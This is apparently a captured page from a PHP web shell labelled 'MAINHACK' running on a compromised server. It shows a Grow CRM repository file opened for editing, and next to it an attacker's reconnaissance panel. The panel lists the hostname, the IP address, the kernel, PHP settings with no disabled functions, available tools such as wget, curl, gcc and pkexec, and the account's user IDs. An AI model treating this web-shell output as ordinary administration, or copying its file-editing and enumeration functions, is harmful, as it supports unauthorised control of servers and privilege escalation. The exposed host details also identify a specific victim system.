[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: CustomFieldsRepository.php
<?php /** -------------------------------------------------------------------------------- * This repository class manages all the data absctration for templates * * @package Grow CRM * @author NextLoop *----------------------------------------------------------------------------------*/ namespace App\Repositories; use App\Models\CustomField; use Illuminate\Http\Request; class CustomFieldsRepository { /** * The leads repository instance. */ protected $customfields; /** * Inject dependecies */ public function __construct(CustomField $customfield) { $this->customfields = $customfield; } /** * Search model * @param int $id optional for getting a single, specified record * @return object customfields collection */ public function search($id = '') { $customfields = $this->customfields->newQuery(); // all client fields $customfields->selectRaw('*'); //default where $customfields->whereRaw("1 = 1"); //type if (request()->filled('customfields_type')) { $customfields->where('customfields_type', request('customfields_type')); } //field if (request()->filled('filter_field_type')) { $customfields->where('customfields_datatype', request('filter_field_type')); } //standard form if (request()->filled('filter_show_standard_form_status')) { $customfields->where('customfields_standard_form_status', request('filter_show_standard_form_status')); } //field status if (request()->filled('filter_field_status')) { $customfields->where('customfields_status', request('filter_field_status')); } //sorting if (request('sort_by') == 'customfields_position') { $customfields->orderBy('customfields_position', 'asc'); } else { $customfields->orderBy('customfields_sorting_a_z', 'ASC'); //put NULL title items last $customfields->orderBy('customfields_title', 'ASC'); //put NULL title items last } // Get the results and return them. return $customfields->paginate(config('settings.custom_fields_display_limit')); } /** * return all field titles as an array * * @param int $id * @return array */ public function fieldTitles() { //lang $lang = []; //check if file exists in the database $fields = \App\Models\CustomField::get(); foreach ($fields as $field) { $lang[$field->customfields_name] = $field->customfields_title; } return $lang; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.97 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002